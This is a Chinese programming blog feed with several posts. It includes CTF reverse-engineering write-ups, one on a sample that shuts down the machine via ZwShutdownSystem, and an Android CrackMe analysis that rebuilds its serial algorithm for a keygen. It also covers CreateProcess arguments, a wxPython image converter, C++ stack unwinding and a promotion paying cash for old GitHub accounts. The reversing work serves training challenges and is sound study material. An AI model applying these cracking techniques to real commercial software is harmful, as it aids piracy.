  1. 需要GitHub账号是2013年5月1日前注册.
  2. 在这个时间之前有项目发布操作.
  3. 此活动与一种国外开源虚拟货币有关, 为了宣传这种货币搞的活动,这个东东类似比特币,闲着没事玩一玩,如果你有这样的Github账户,可以按照教程操作,我会直接通过支付宝付款给你。

具体请点击《5月1日前注册的GitHub账号可领取20元》阅读,成功之后可以支付宝付款。

付款案例

Github换取20元人民币,支付宝付款

Github换取20元人民币,支付宝付款



本博客很少转载他人文章,如未特别标明,均为原创,转载请注明出处:
本文出自程序人生 >> 5月1日前注册的GitHub账号可领取20元
作者:代码疯子

[HDUSEC CTF]逆向分析Final

$
0
0

这是杭州电子科技大学信息安全竞赛(HDUSEC CTF)一个比较坑爹的题目,运行程序之后电脑就自动关了,如果直接在真机测试,那丢点数据也在所难免了,呵呵~ (注:本文是在比赛结束后发的

这个时候,你很可能拿起你的OD准备动手了,可是当你刚载入OD的那一瞬间,屏幕又黑了,看了看主机箱,擦,灯灭了,电脑有关了,这尼玛不是坑爹么!

别哭,开机继续搞!把程序载入PEiD,看,有TLS呢!当然啦,大概就猜TLS里面有坑爹的代码。这个TLS可以看也可以不看的,但是出于好奇心,我还是忍不住看了下。那还是用IDA看一下这个样本吧。载入IDA分析,看一下导出表,有个TlsCallback_0,就是这货调用了sub_4013B0函数,对调试器进行了检测。

Tls回调函数调试器进程检测

Tls回调函数调试器进程检测


其实在检测进程之前就注定要关机了:通过调用RtlAdjustPrivilege和ZwShutdownSystem两个函数实现瞬间关机,可以自己去网上找一下相关介绍,ZwShutdownSystem这个字符串是解密出来的,和后面的一种解密方法一致(后文提到的内联汇编代码)。

还是先看下Main函数吧,在start函数中,如果你熟悉运行库的启动代码,你就可以快速确定sub_4010A0就是main函数,不知道也没关系,可以看一下《MSVC CRT运行库启动代码分析》。

分析一下main函数,发现这货会解密两个字符串,就是Kernel32.dll和IsDebuggerPresent了,动态获取函数地址然后调用一下看看是不是被爆菊ing:

使用IsDebuggerPresent检测调试器

使用IsDebuggerPresent检测调试器

我们去看sub_401240这个函数,进去看看发现又是在解密,还在打印key呢,好开森啊!

解密出来的假的KEY

解密出来的假的KEY


写个程序算一下,输出的结果是这样的:
18118806718727666771776122771028512219102806977728066103767266872929
怎么发现不太对呢?这不是key啊,你他妈在逗我!!!

擦擦擦!再用IDA看一下字符串,发现还有点问题:

IDA字符串分析

IDA字符串分析


I am the Key!! 好像有点意思!去看看在哪里被引用了。通过IDA的交叉引用功能找到sub_401390,然后继续往上找到sub_4012E0,而在sub_4012E0中又发现了sub_401320,尼玛这货又在解密。
数据解密

数据解密

解密方式还不是简单的异或运算,稍微变换了下。还是看汇编代码吧:

.text:00401333 loc_401333:                             ;
.text:00401333                 xor     ecx, ecx
.text:00401335
.text:00401335 loc_401335:                             ;
.text:00401335                 mov     dl, byte_403078[ecx]
.text:0040133B                 mov     al, cl
.text:0040133D                 mov     bl, 2Bh
.text:0040133F                 imul    bl
.text:00401341                 add     dl, 80h
.text:00401344                 add     al, 4
.text:00401346                 xor     dl, al
.text:00401348                 mov     byte_403988[ecx], dl
.text:0040134E                 inc     ecx
.text:0040134F                 cmp     ecx, 5A9h
.text:00401355                 jl      short loc_401335
 
.text:00401357                 movsx   eax, byte_40303A
.text:0040135E                 movsx   edx, byte_40302C
.text:00401365                 push    offset byte_403988
.text:0040136A                 mov     byte_403988[ecx], 0
.text:00401371                 movsx   ecx, byte_403026
.text:00401378                 push    eax             ; y
.text:00401379                 push    ecx             ; e
.text:0040137A                 push    edx             ; k
.text:0040137B                 push    offset aCCCS    ; "%c%c%c:%s"
.text:00401380                 call    ds:printf

可以看到前面是对数据块byte_403078的解密操作,大小为0x5A9,解密完之后输出key:解密后的内容。现在去byte_403078提取0x5A9大小的数据,然后内联汇编解密吧:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
#include <iostream>
using namespace std;
 
int main(int argc, char **argv)
{
	const int size = 0x5A9;
	unsigned char src[size] = { 0 };
	unsigned char dst[size] = { 0 };
 
	FILE *fp = fopen("data.bin", "rb");
	fread(src, size, 1, fp);
	fclose(fp);
 
	__asm
	{
		xor     ecx, ecx
doDecrypt :
		mov     dl, src[ecx]
		mov     al, cl
		mov     bl, 2Bh
		imul    bl
		add     dl, 80h
		add     al, 4
		xor     dl, al
		mov     dst[ecx], dl
		inc     ecx
		cmp     ecx, 5A9h
		jl      short doDecrypt
	}
 
	printf("%s\n", dst);
 
	return 0;
}

打印出来是个啥?是KEY吗?显然不是,没图说个JB,看图:

解密后的数据

解密后的数据

又是一堆16进制数据,复制出来转成文件吧(就是让文件的16进制内容就是长这个样子),C32Asm有个特别粘贴功能(ASCII Hex),很好用!看一下文件内容,凭感觉判断吧:

解密后的数据内容

解密后的数据内容


看到Key.txt以及那个感叹号,你应该自信的想到这个是个RAR文件(你凭什么这么自信?不好意思我用了飘柔),那就加上Rar标志吧,然后保存为rar文件,尼玛又怒了,要密码啊,爆破都不行,你TM又在逗我!

等等,Key.txt很小的样子,RAR后还附加有数据,你还看到了IHDR和IEND以及那个‰符号,你又应该自信的想到这是一个PNG图片:

PNG数据

PNG数据


那就把第2、3、4字节改成PNG吧,把附加数据段单独提取出来保存。图片显示7.20,这货难道就是解压密码?真的是,这回没有逗我了,拿到KEY为cbklgcdm43ch96dsfCJ5dnGLQOnzfiS

至此,终于戳穿了对方的各种伎俩!纯静态分析实现本题Crack。收工?等等,做个广告《5月1日前注册的GitHub账号可领取20元


本博客很少转载他人文章,如未特别标明,均为原创,转载请注明出处:
本文出自程序人生 >> [HDUSEC CTF]逆向分析Final
作者:代码疯子

[HDUSEC CTF]逆向分析彩蛋 Crack Hide

$
0
0

这是HDUSEC CTF决赛的一道逆向题,最开始是不可见的,后来才公布。运行程序后需要在编辑框输入一个key,然后就是点击按钮了,界面很简陋,没有多看就用IDA分析了。

首先需要找到WinMain函数,这个不多说了。发现这是通过调用DialogBoxParam创建的对话框,那么可以去看窗口过程函数,稍微看一下发现字符串都是加密的,这个跟踪一下发现是通过XOR加密了(0×23),分析一下按钮点击的逻辑为:先获取用户的输入,然后经过3个函数的处理分别设置3个flag,只有都通过的时候才会弹出MessageBox提示消息。

HDUSEC CTF 逆向彩蛋 Crack Hide

HDUSEC CTF 逆向彩蛋 Crack Hide

当然啦,那三个校验函数并不需要详细分析,自己用0×23去异或一下加密的字符串,就知道成功后会通过MessageBox弹出提示:Xor_key_with_0xFA,或者用OD强制跳转也可以。这里题目还提供了一个key文件,没有扩展名的。按照这个提示,把key文件通过XOR 0xFA进行解密,得到一个新的文件,文件头部存在RIFF WAVEfmt特征字符串,可以推断出这是一个wav音频文件。于是我开心的用播放器放了一下,居然听不懂!!!

作为一只小菜鸟,我就到这里卡!住!了!后来看了ZJU的大神的writeup,才知道音频需要进行倒放。Google搜了一下,Windows XP自带的录音机有这个功能,于是用XP的录音机回放了一下,果然就能听到KEY了。

XP自带录音机音频反转

XP自带录音机音频反转

又涨姿势了!这音频反转也算是一种简单的隐写术啊。题目可以从上面给出的ZJUISA的链接找到百度网盘的下载地址。


本博客很少转载他人文章,如未特别标明,均为原创,转载请注明出处:
本文出自程序人生 >> [HDUSEC CTF]逆向分析彩蛋 Crack Hide
作者:代码疯子

简单Android CrackMe分析3

$
0
0

作者:代码疯子
博客:Http://Www.ProgramLife.Net/ 求关注,求勾搭!

这是在crackmes.de上找到的一个Android CrackMe,也属于比较简单的类型,当然如果从学习的角度玩,可以尝试通过阅读smali代码并手动将其翻译成Java代码,最终写出一个Keygen出来。

分析之前先把apk装到模拟器上看一下,有两个Activity,提示了两个Hardware ID,需要输入用户名和注册码进行注册。

使用Apktool GUI将apk解包,查看AndroidManifest.xml文件,看到了两个Activity,分别为com.example.helloandroid.HelloAndroid和com.example.helloandroid.prueba2,其中前者是MainActivity。现在提取出APK包中的classes.dex并将其转换为jar包,使用JD-GUI查看代码。总共看到有5个类,下面一个一个进行分析。

1. 类HelloAndroid代码分析
这个类就是MainActivity了,在onCreate方法中计算了两个Hardware ID并显示到了界面上,这里具体的算法暂时可以忽略,因为在另一段代码中有相同的逻辑。之后给两个Button设置监听器,之前我们在界面中看到有两个按钮,一个是“注册”按钮,一个是“关于”按钮。

2. 类HelloAndroid$1代码分析
这是“关于”按钮的监听器类,在onClick方法中通过Intent启动“关于”界面的Activity,也就是prueba2这个类。

3. 类prueba2代码分析
“关于”界面的Activity,有一个按钮,用于返回注册界面,这个类的代码很简单。

4. 类prueba2$1代码分析
“关于”界面中“返回”按钮的监听器类,在onClick方法中通过Intent返回到注册界面。

5. 类HelloAndroid$2代码分析
这是“注册”按钮的监听器类,整个注册算法也在这里,所以这是要重点分析的代码。其实如果只是写出注册机的话,稍微整理下JD-GUI中的代码也就可以了,不过JD-GUI反编译出来的代码有时候可阅读性不是很好,这里从学习的角度出发,通过阅读smali代码还原Java高级代码。

HelloAndroid$2这个类的smali代码中,个人感觉除了try catch结构比较混乱外,其他的都还算很清晰,在我尝试还原的过程中,也只有try catch的位置无法确定放在哪里。还原后的Java代码如下:

class MyOnClickListener implements OnClickListener {
    public void onClick(View v) {
        EditText editName = (EditText)findViewById(0x7F050004);
        EditText editSerial = (EditText)findViewById(0x7F050006);
        String strName = editName.getText().toString();
        String strSerial = editSerial.getText().toString();
        String strTemp1 = "";
 
        if (strName.length() < 4) {
            Toast.makeText(
                getApplicationContext(), 
                "Min 4 chars", 
                Toast.LENGTH_LONG
            ).show();
            return ;
        }
 
        int i = 0;
        int len = strName.length();
        while (i < len) {
            char ch = strName.charAt(i);
            int nVal = (int)ch;
            String strTemp = String.valueOf(strTemp1);
            StringBuilder strBuilder = new StringBuilder(strTemp);
            strBuilder.append(nVal);
            strTemp1 = strBuilder.toString();
            i += 1;
        }
 
        strTemp1 = strTemp1.substring(0, 5);
        int nName = Integer.parseInt(strTemp1);
        nName = nName ^ 0x6B016;
        strTemp1 = String.valueOf(nName);
 
        TelephonyManager telMgr =
            (TelephonyManager)getSystemService("phone");
        String strDevId = telMgr.getDeviceId();
        String strSimNo = telMgr.getSimSerialNumber();
        String strSubDevId = strDevId.substring(0, 6);
        String strSubSimNo = strSimNo.substring(0, 6);
        int nSubDevId = Integer.parseInt(strSubDevId);
        int nSubSimNo = Integer.parseInt(strSubSimNo);
        long nTemp = nSubDevId ^ nSubSimNo;
 
        StringBuilder strBuilder = new StringBuilder(strTemp1);
        strBuilder.append("-");
        strBuilder.append(String.valueOf(nTemp));
        strBuilder.append("-");
        strBuilder.append(strSubDevId);
        String strTemp2 = strBuilder.toString();
 
        if (strTemp2.equals(strSerial)) {
            Toast.makeText(
                getApplicationContext(), 
                "God boy", 
                Toast.LENGTH_LONG
            ).show();
        } else {
            Toast.makeText(
                getApplicationContext(), 
                "Bad boy", 
                Toast.LENGTH_LONG
            ).show();
        }
    }
}

具体的过程就是耐心的阅读smali代码。整个算法的过程是:

首先用户名的长度至少为4,之后将用户名的每个字符的ASCII值连接成字符串,取字符串的前5个字符转换为整型,然后与0x6B016进行异或运算,所得的结果转换为字符串,这是注册码的第一部分;

其次通过TelephonyManager获取DeviceId和SimSerialNumber,并分别取两个字符串的前6个字符转换为整型,然后将两个整型数值进行异或运算,将结果转换为字符串,得到注册码的第二部分;

最后是获取DeviceId的前6个字符这一个子串,这是注册码的第三部分。

将这三个字符串用连字符“-”连接起来就是注册码了。

6. 编写Keygen
KeyGen参考注册算法的代码。效果截图如下:
Android CrackMe 注册成功界面

注册机界面:
Android CrackMe Keygen 注册机

CrackMe / Keygen下载:
http://pan.baidu.com/share/link?shareid=2854465072&uk=369321854
在线阅读本PDF:
http://www.programlife.net/doc/Android_CrackMe_2.pdf

(全文完)


本博客很少转载他人文章,如未特别标明,均为原创,转载请注明出处:
本文出自程序人生 >> 简单Android CrackMe分析3
作者:代码疯子

CreateProcess的命令行参数

$
0
0

最近使用CreateProcess创建rundll32.exe进程,发现并没有正常加载DLL,后来才发现是命令行参数传错了,CreateProcess并不是我想象的那样,网上找了一下,发现还有许多东西不是想的那么简单。下面的文字翻译自《INFO: Understanding CreateProcess and Command-line Arguments》

创建32位进程时CreateProcess的行为

案例1
如果传递了ApplicationName参数,且CommandLine参数是NULL,那么ApplicationName参数同时也会被当做CommandLine参数。但这并不意味着你可以在ApplicationName参数中添加额外的命令行参数。比如下面的代码就无法成功创建进程:

CreateProcess("c:\\MyApp.exe Param1 Param2", NULL, ... );

案例2
如果传递了CommandLine参数,且ApplicationName参数是NULL,那么CreateProcess会尝试从CommandLine中提取ApplicationName。

案例3
当ApplicationName和CommandLine两个参数同时都使用的时候,就会体现出CreateProcess的灵活性了(也是容易混淆的地方)。这时候允许你指明要执行的程序以及要传给程序的完整的命令行参数。你也许会认为传递给创建的程序的命令行参数是ApplicationName和CommandLine的组合,但实际上不是这样的。实际情况是,由CreateProcess创建的进程可以接收一个指定的参数填充到argv[0],下面的例子就会产生这种不正常现象:

CreateProcess( "c:\\MyApp.exe", "Param1 Param2 Param3", ...);

MyApp的命令参数将会是这样的:

  argv[0] == "Param1"
  argv[1] == "Param2"
  argv[2] == "Param3"

此外,在《Windows核心编程》中提到,CreateProcess函数的lpCommandLine参数类型为LPTSTR,这意味着CreateProcess期望你将传递一个非常量字符串的地址,从内部来讲,CreateProcess实际上要修改你传递给它的命令行字符串,不过,在CreateProcess返回之前,它将该字符串恢复为它的原始形式。所以如果传递的是常量字符串,那么可能会引发违规访问的异常。

所以,CreateProcess正确的写法应该这样:

	TCHAR szPath[MAX_PATH] = {L"C:\\Windows\\System32\\rundll32.exe"};
	TCHAR szCmdLine[MAX_PATH] = {
		L"C:\\Windows\\System32\\rundll32.exe"
		L" D:\\Test.dll,TestFunc" // 注意前面的空格
	};
	STARTUPINFO si = {sizeof(si)};
	PROCESS_INFORMATION pi = {0};
	BOOL bRet = FALSE;
 
	bRet = CreateProcess(
		szPath,
		szCmdLine,
		NULL,
		NULL,
		FALSE,
		CREATE_NEW_CONSOLE,
		NULL,
		NULL,
		&si,
		&pi);
	CloseHandle(pi.hThread);
	CloseHandle(pi.hProcess);
CreateProcess Command Line

CreateProcess Command Line

参考:
《Windows核心编程》
INFO: Understanding CreateProcess and Command-line Arguments


本博客很少转载他人文章,如未特别标明,均为原创,转载请注明出处:
本文出自程序人生 >> CreateProcess的命令行参数
作者:代码疯子


wxPython写的图片格式转换工具ImageConverter

$
0
0

最近看了一下wxPython,这是wxWidgets的Python版本,而wxWidgets是一个跨平台的GUI框架。这个东西用来开发一些GUI小工具还是挺方便的,当然命令行处理的方式更加简单快速,但如果一定要有界面的话,就不得不考虑一个GUI框架了。

不过对于图片格式转换来说,使用PIL(Python Imaging Library)只需要一句代码就能解决了,所以主要的工作还是在界面的设计以及响应上面。wxPython的界面布局使用Sizer来管理,类似于Java AWT里面的Layout,对于习惯了Win32拖拽的人来说不是很习惯。当然wxWidgets也有所见即所得的界面设计工具wxFormBuilder,没怎么用(试用了一下,生成的代码比较乱)。

几个需要注意的点:

  • 如果想要在状态栏上创建控件,那么需要从wx.StatusBar继承一个子类,然后设置控件的位置使其位于对应的Field即可;
  • 响应wx.EVT_UPDATE_UI事件可以使得在菜单弹出时设置各个菜单项的状态(Enable/Disable);
  • 响应wx.EVT_MENU_HIGHLIGHT_ALL,屏蔽菜单项的helpString出现在状态栏之中;
  • 继承threading.Thread实现一个子类线程进行多线程操作;
  • 通过调用EnsureVisible可以实现wx.ListCtrl的自动滚动;
  • datetime.datetime和datetime.datetime的差是一个datetime.timedelta类型,通过seconds属性可以获取时间差的秒数;

效果截图:

ImageConverter设置转换后的图片格式

ImageConverter设置转换后的图片格式

ImageConverter wxPython图片格式转换

转换效果

代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
#!/usr/bin/env python
# -*- coding:utf-8 -*-
 
import wx
import os
import time
import Image
import datetime
import threading
import wx.lib.agw.hyperlink as wxHL
 
class IcRsrc(object):
    """所有的字符串以及数据参数都集中放在这里,方便修改以及设置多语言"""
    majorVersion = 1
    minorVersion = 0
    winSize = (680, 420)
    sbFields = [-1, -3, -1, -1, -1, -3]
    sbText = {0:u"转换进度", 2:u"已用时间", 3:"00:00:00", 4:u"作者主页"}
    sbBlog = "http://www.programlife.net/"
    winTitle = "Image Converter"
    listHeader = {0:u"文件路径", 1:u"状态"}
    listHeaderWidth = {0:0.8*winSize[0], 1:0.1*winSize[0]}
    menuItemLabel = [u"添加图片文件", u"设置输出路径", "", 
                     u"清空已选文件", "", u"设置图片格式", 
                     "", u"开始转换", u"停止转换", "", u"退出程序"]
    menuItemId = [wx.NewId(), wx.NewId(), None, wx.NewId(), None, wx.NewId(), 
                  None, wx.NewId(), wx.NewId(), None, wx.NewId()]
    fmtDlgTitle = u"设置目标图片格式"
    fmtDlgText = u"请填写图片扩展名(如BMP), 所有文件将被转换为该格式"
    openDlgTitle = u"添加要转换的图片文件"
    openDlgFmt = "BMP (*.bmp;*.dib)|*.bmp;*.dib|" \
                 "JPEG (*.jpg;*.jpeg)|*.jpg;*.jpeg|" \
                 "GIF (*.gif)|*.gif|" \
                 "PNG (*.png)|*.png|" \
                 "All files (*.*)|*.*"
    saveDlgTitle = u"设置输出目录"
    lsWaiting = u"="
    lsSuccess = u"√"
    lsFail = u"X"
    stopScanTitle = u"操作确认"
    stopScanContent = u"正在添加要转换的图片文件,确定要退出吗?"
    stopConvertTitle = u"操作确认"
    stopConvertContent = u"正在转换已添加的图片文件,确定要退出吗?"
 
    @classmethod
    def getTitle(cls):
        return "%s %d.%d" % (cls.winTitle, cls.majorVersion, cls.minorVersion)
 
class IcStatusBar(wx.StatusBar):
    """继承自StatusBar的状态栏,因为上面要放置控件,所以需要自定义"""
    def __init__(self, parent):
        wx.StatusBar.__init__(self, parent, -1)
        self.SetFieldsCount(len(IcRsrc.sbFields))
        self.SetStatusWidths(IcRsrc.sbFields)
 
        self.createFields()
        self.Bind(wx.EVT_SIZE, self.OnSize)
        self.Reposition()
 
    def createFields(self):
        for k, v in IcRsrc.sbText.items():
            self.SetStatusText(v, k)
        self.gauge = wx.Gauge(self, -1, 100)
        self.blog = wxHL.HyperLinkCtrl(self, -1, IcRsrc.sbBlog, 
                                       URL=IcRsrc.sbBlog)
 
    def OnSize(self, event):
        event.Skip()
        self.Reposition()
 
    def Reposition(self):
        """为了防止状态栏中的控件摆放错乱,需要设置好各自的位置以及大小"""
        for k, v in {1:self.gauge, 5:self.blog}.items():
            rect = self.GetFieldRect(k)
            rect.x += 1
            rect.y += 1
            rect.width -= 1
            rect.height -= 1
            v.SetRect(rect)
 
class IcFrame(wx.Frame):
    """自定义的Frame框架"""
    def __init__(self):
        wx.Frame.__init__(self, None, -1, IcRsrc.getTitle(),
            size=IcRsrc.winSize,
            style=wx.DEFAULT_FRAME_STYLE ^ 
                  wx.MAXIMIZE_BOX ^ wx.RESIZE_BORDER)
        self.createControls()
        self.createStatusBar()
        self.initValues()
 
    def createControls(self):
        """通过BoxSizer进行界面布局"""
        self.mainSizer = wx.BoxSizer(wx.VERTICAL)
        self.fileList = wx.ListCtrl(self, -1, 
                                    style=wx.LC_REPORT | wx.LC_SINGLE_SEL |
                                          wx.LC_HRULES | wx.LC_VRULES)
        for k, v in IcRsrc.listHeader.items():
            self.fileList.InsertColumn(k, v)
            self.fileList.SetColumnWidth(k, IcRsrc.listHeaderWidth[k])
        self.fileList.Bind(wx.EVT_CONTEXT_MENU, self.OnContextMenu)
        self.mainSizer.Add(self.fileList, 1, wx.EXPAND | wx.ALL)
        self.SetSizer(self.mainSizer)
        self.Layout()
 
    def createStatusBar(self):
        self.statusbar = IcStatusBar(self)
        self.SetStatusBar(self.statusbar)
 
    def initValues(self):
        self.format = "jpg"
        self.output_dir = ""
        self.source = []
        self.scanning = False
        self.converting = False
        self.hasMenu = False
 
    def OnContextMenu(self, event):
        """弹出右键菜单"""
        if not self.hasMenu:
            self.hasMenu = True
            evtHandler= [self.OnAddSrcFiles, self.OnSelectOutputDir,
                         None, self.OnClearSelect, None, self.OnSetImageFormat,
                         None, self.OnStartConvert, self.OnStopConvert, 
                         None, self.OnExitApp]
            for id, handler in zip(IcRsrc.menuItemId, evtHandler):
                if id != None:
                    self.Bind(wx.EVT_MENU, handler, id=id)
                    self.Bind(wx.EVT_UPDATE_UI, self.OnUpdateUI, id=id)
            self.Bind(wx.EVT_MENU_HIGHLIGHT_ALL, self.OnMenuHighlight)
 
            self.menu = wx.Menu()
            for id, label in zip(IcRsrc.menuItemId, IcRsrc.menuItemLabel):
                if id != None:
                    self.menu.Append(id, label)
                else:
                    self.menu.AppendSeparator()
        self.PopupMenu(self.menu)
 
    def OnUpdateUI(self, event):
        """弹出菜单时检查状态,设置各个菜单项是否激活"""
        status = []
        if self.scanning:
            status = [False, True, None, False, None, True, 
                      None, False, False, None, True]
        elif self.converting:
            status = [False, False, None, False, None, False, 
                      None, False, True, None, True]
        else:
            status = [True, True, None, True, None, True, 
                      None, True, False, None, True]
 
        for id, s in zip(IcRsrc.menuItemId, status):
            if id != None:
                self.menu.Enable(id, s)
 
    def OnAddSrcFiles(self, event):
        """添加要转换的图片文件"""
        dlg = wx.FileDialog(self, message=IcRsrc.openDlgTitle,
                            defaultDir=os.getcwd(), defaultFile="",
                            wildcard=IcRsrc.openDlgFmt,
                            style=wx.OPEN | wx.MULTIPLE | wx.CHANGE_DIR)
        if dlg.ShowModal() == wx.ID_OK:
            paths = dlg.GetPaths()
            self.source.extend(paths)
            self.scanthread = ScanThread(self, paths)
            self.scanthread.start()
        dlg.Destroy()
 
    def OnSelectOutputDir(self, event):
        """设置转换后的图片文件的存放路径"""
        dlg = wx.DirDialog(self, IcRsrc.saveDlgTitle,
                           style=wx.DD_DEFAULT_STYLE | wx.DD_DIR_MUST_EXIST)
        if dlg.ShowModal() == wx.ID_OK:
            self.output_dir = dlg.GetPath()
        dlg.Destroy()
 
    def OnClearSelect(self, event):
        """清空已经添加的图片文件"""
        self.fileList.DeleteAllItems()
        self.source = []
 
    def OnSetImageFormat(self, event):
        """设置转换后的图片文件格式,Image模块可以根据扩展名自动识别最终的图片格式"""
        dlg = wx.TextEntryDialog(self, IcRsrc.fmtDlgText, IcRsrc.fmtDlgTitle)
        while dlg.ShowModal() == wx.ID_OK:
            self.format = dlg.GetValue()
            if len(self.format) == 0:
                continue
            break
        dlg.Destroy()
 
    def OnStartConvert(self, event):
        """开始转换图片文件,通过ConvertThread线程控制"""
        self.convertthread = ConvertThread(self, self.source)
        self.convertthread.start()
 
    def OnStopConvert(self, event):
        """停止转换"""
        if self.converting:
            self.convertthread.stop()
            self.statusbar.gauge.SetValue(0)
 
    def OnExitApp(self, event):
        """退出程序,在退出之前做适当的清理工作"""
        if self.scanning:
            dlg = wx.MessageDialog(self, IcRsrc.stopScanTitle, 
                                   IcRsrc.stopScanContent,
                                   wx.YES_NO | wx.ICON_QUESTION)
            if dlg.ShowModal() == wx.ID_OK:
                self.scanthread.stop()
            dlg.Destroy()
 
        if self.converting:
            dlg = wx.MessageDialog(self, IcRsrc.stopConvertTitle, 
                                   IcRsrc.stopConvertContent,
                                   wx.YES_NO | wx.ICON_QUESTION)
            if dlg.ShowModal() == wx.ID_OK:
                self.convertthread.stop()
            dlg.Destroy()
 
        self.Close(True)
 
    def OnMenuHighlight(self, event):
        """禁止菜单项的帮主字符串(helpString)出现在状态栏的第一个Field之中"""
        pass
 
class ScanThread(threading.Thread):
    """扫描线程,负责将待转换的图片路径添加到UI界面,防止数据量过大时假死"""
    def __init__(self, frame, paths):
        threading.Thread.__init__(self)
        self.thread_stop = False
        self.paths = paths
        self.frame = frame
 
    def run(self):
        self.frame.scanning = True
        for path in self.paths:
            if self.thread_stop:
                break
            count = self.frame.fileList.GetItemCount()
            index = self.frame.fileList.InsertStringItem(count, path)
            self.frame.fileList.SetStringItem(index, 1, IcRsrc.lsWaiting)
        self.frame.scanning = False
 
    def stop(self):
        self.thread_stop = True
 
class ConvertThread(threading.Thread):
    """转换线程,负责图片的格式转换工作"""
    def __init__(self, frame, paths):
        threading.Thread.__init__(self)
        self.thread_stop = False
        self.paths = paths
        self.frame = frame
 
    def run(self):
        self.frame.converting = True
        self.frame.statusbar.gauge.SetValue(0)
        dirname = os.path.normpath(self.frame.output_dir)
        convertres = ""
        count = len(self.paths)-1
        curimg = 0
        starttime = datetime.datetime.now()
 
        for path in self.paths:
            if self.thread_stop:
                break
            filename = os.path.basename(path)
            filename = filename[:filename.rfind(".")] + "." + self.frame.format
            filepath = os.path.join(dirname, filename)
            try:
                # 图片格式转换只需要这一句代码即可
                Image.open(path).save(filepath)
                convertres = IcRsrc.lsSuccess
            except Exception, e:
                print e
                convertres = IcRsrc.lsFail
            self.frame.fileList.SetStringItem(curimg, 1, convertres)
            self.frame.statusbar.gauge.SetValue(curimg*100.0/count)
            # 设置ListCtrl当前行为选中状态
            self.frame.fileList.SetItemState(curimg, wx.LIST_STATE_SELECTED,
                                             wx.LIST_STATE_SELECTED)
            # 让ListCtrl自动滚动
            self.frame.fileList.EnsureVisible(curimg)
            curimg += 1
            interval = (datetime.datetime.now() - starttime).seconds
            self.frame.statusbar.SetStatusText(sec2str(interval), 3)
            time.sleep(0.01)
        self.frame.converting = False
 
    def stop(self):
        self.thread_stop = True
 
class IcApp(wx.App):
    """App类"""
    def OnInit(self):
        frame = IcFrame()
        frame.Show()
        frame.Center()
        self.SetTopWindow(frame)
        return True
 
def sec2str(sec):
    """将秒数转换为格式化字符串"""
    h = sec / 3600
    m = (sec % 3600) / 60
    s = sec % 3600 % 60
    return "%02d:%02d:%02d" % (h, m, s)
 
def Main():
    """Main函数"""
    app = IcApp()
    app.MainLoop()
 
if __name__ == "__main__":
    Main()

建了个新的Github账号,命令行不太会用,直接用github for windows了,地址:https://github.com/Wins0n


本博客很少转载他人文章,如未特别标明,均为原创,转载请注明出处:
本文出自程序人生 >> wxPython写的图片格式转换工具ImageConverter
作者:代码疯子

C++中的异常与栈展开

$
0
0

在《More Effective C++》一书中提到:

两种情况下destructor会被调用。第一种情况是当对象在正常状态下被销毁,也就是当它离开了它的生存空间(scope)或是被明确的删除;第二种情况是当对象被exception处理机制——也就是exception传播过程中的stack-unwinding(栈展开)机制——销毁。

那什么是栈展开(stack-unwinding)机制呢?在C++异常机制中,代码控制流会从throw语句跳转到第一个可以处理这种异常的catch语句的地方,在达到这样的catch语句时,所有位于引发异常和这个catch语句之间的作用域范围内的(即能够处理这个异常的try-catch结构中try起始处到引发异常的throw语句之间)已经构造好的局部变量都会被销毁(如果是对象,对应的析构函数就会被调用),这个过程就是栈展开。

代码详细的执行过程:

  1. 执行流进行try块之后开始执行代码;
  2. 如果没有异常产生,那么try对应的catch结构中的代码不会被执行,执行流跳转换到try-catch之后的代码开始执行;
  3. 如果在执行try块结构内部的代码时抛出异常(通过throw语句,注意这里会产生copy constructor的调用,具体看后面描述);这时候系统会去寻找一个可以捕获该异常的catch语句,这个过程是一层一层往主调函数回溯的;
  4. 如果到了最外层的try块结构仍然没能找到能够处理这个异常的catch结构,terminate将被调用;
  5. 如果找到匹配的catch处理程序,在catch的形参初始化后,将进行栈展开的过程。;

在第3点中提到,通过throw抛出一个异常对象,会产生复制构造函数的调用,不管catch是以by value的方式还是以by reference的方式。因为有栈展开这个过程,已经构造好的局部变量都被销毁了,如果不通过copy constructor构造一个临时的异常对象,那么即便是reference,也会指向不存在的对象。即使throw的对象时static或者global,都会导致copy constructor的调用。

示例代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
#include <string>
#include <iostream>
using namespace std;
 
class MyException{};
class Dummy
{
    public:
    Dummy(string s) : MyName(s) { PrintMsg("Created Dummy:"); }
    Dummy(const Dummy& other) : MyName(other.MyName){ PrintMsg("Copy created Dummy:"); }
    ~Dummy(){ PrintMsg("Destroyed Dummy:"); }
    void PrintMsg(string s) { cout << s  << MyName <<  endl; }
    string MyName; 
    int level;
};
 
 
void C(Dummy d, int i)
{ 
    cout << "Entering FunctionC" << endl;
    d.MyName = " C";
    throw MyException();   
 
    cout << "Exiting FunctionC" << endl;
}
 
void B(Dummy d, int i)
{
    cout << "Entering FunctionB" << endl;
    d.MyName = "B";
    C(d, i + 1);   
    cout << "Exiting FunctionB" << endl; 
}
 
